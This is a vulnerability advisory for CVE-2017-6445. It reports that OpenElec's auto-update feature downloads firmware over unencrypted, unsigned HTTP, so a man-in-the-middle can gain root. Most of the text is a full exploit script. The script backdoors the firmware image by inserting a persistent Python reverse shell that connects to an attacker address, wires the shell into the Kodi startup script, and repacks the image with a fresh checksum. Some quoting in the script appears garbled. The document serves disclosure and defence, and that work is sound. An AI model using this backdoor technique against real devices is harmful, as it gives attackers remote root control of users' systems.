OpenElec: Remote Code Execution Vulnerability through Man-In-The-Middle(CVE-2017-6445)

During my research about update mechanisms of open-source software I
discovered vulnerabilities in OpenElec.

== [ OVERVIEW ] ==

    System affected: OpenElec
    CVE: CVE-2017-6445
    Vulnerable component: auto-update feature
    Software-Version: 6.0.3, 7.0.1
    User-Interaction: Reboot required
    Impact: Remote Code Execution with root permission

== [ PRODUCT DESCRIPTION ] ==

According to its website "Open Embedded Linux Entertainment Center
(OpenELEC) is a small Linux based Just Enough Operating System (JeOS)
built from scratch as a platform to turn your computer into a Kodi media
center."

== [ VULNERABILITY ] ==

Automatic updates are disabled by default. After enabling it, OpenElec
connects to http://update.openelec.tv/updates.php to find out if there
is an update for a newer version. If there is a newer version, openelec
will download it from http://releases.openelec.tv/<version>.tar(or any
other url returned by update.openelec.tv).

The auto-update feature of OpenElec does neither use encrypted
connections nor does it use signed updates. A Man-In-The-Middle could
manipulate the update-packages to gain root-access remotely.
In order to run the downloaded firmware, the OpenElec-system has to be
rebooted. So at this point user-interaction is required.

== [ EXPLOIT ] ==

The following code downloads an openelec-firmware, extracts it, places a
reverse-shell into the kodi-startscript and finally generates a
backdoored firmware:

#!/bin/bash
 OPENELEC="OpenELEC-RPi2.arm-7.0.1"
DOWNLOADURL="http://releases.openelec.tv/"
 TMP="/tmp"

cd $TMP
test -e ${OPENELEC}.tar || wget $DOWNLOADURL/${OPENELEC}.tar
test -d $OPENELEC || tar xvf ${OPENELEC}.tar
 test -d $TMP/unpacked || mkdir $TMP/unpacked

cd $TMP/unpacked

test -d $TMP/unpacked/squashfs-root || unsquashfs
$TMP/$OPENELEC/target/SYSTEM

cat > $TMP/unpacked/squashfs-root/usr/bin/revshell.sh << EOF

#!/bin/bash
 while true
do
python -c import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.12.32.15",5000));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); > /dev/null 2>&1
done
EOF

chmod 777 $TMP/unpacked/squashfs-root/usr/bin/revshell.sh

awk /trap cleanup TERM/ { print; print "/usr/bin/revshell.sh &"; next
}1 $TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh >
$TMP/unpacked/squashfs-root/usr/lib/kodi/kodievil.sh

mv $TMP/unpacked/squashfs-root/usr/lib/kodi/kodievil.sh

$TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh

chmod 777 $TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh
mksquashfs squashfs-root/ SYS -noappend -comp gzip
mv SYS $TMP/$OPENELEC/target/SYSTEM
cd $TMP/$OPENELEC
md5sum target/SYSTEM > target/SYSTEM.md5
cd $TMP
tar cvf $OPENELEC.evil.tar $OPENELEC

test -d $TMP/unpacked && rm -fr $TMP/unpacked
test -d $OPENELEC && rm -rf $OPENELEC

== [ MITIGATION ] ==

Ensure that auto-update is disabled.

== [ Timeline ] ==

   * This bug was reported on December 03 2016.
   * Published as Zero-Day after no reply from OpenElec on March 04 2017

== [ CREDITS ] ==

CVE-2017-6445 was discovered by Wolfgang Hotwagner
(https://tech.feedyourhead.at/content/openelec-remote-code-execution-vulnerability-through-man-in-the-middle)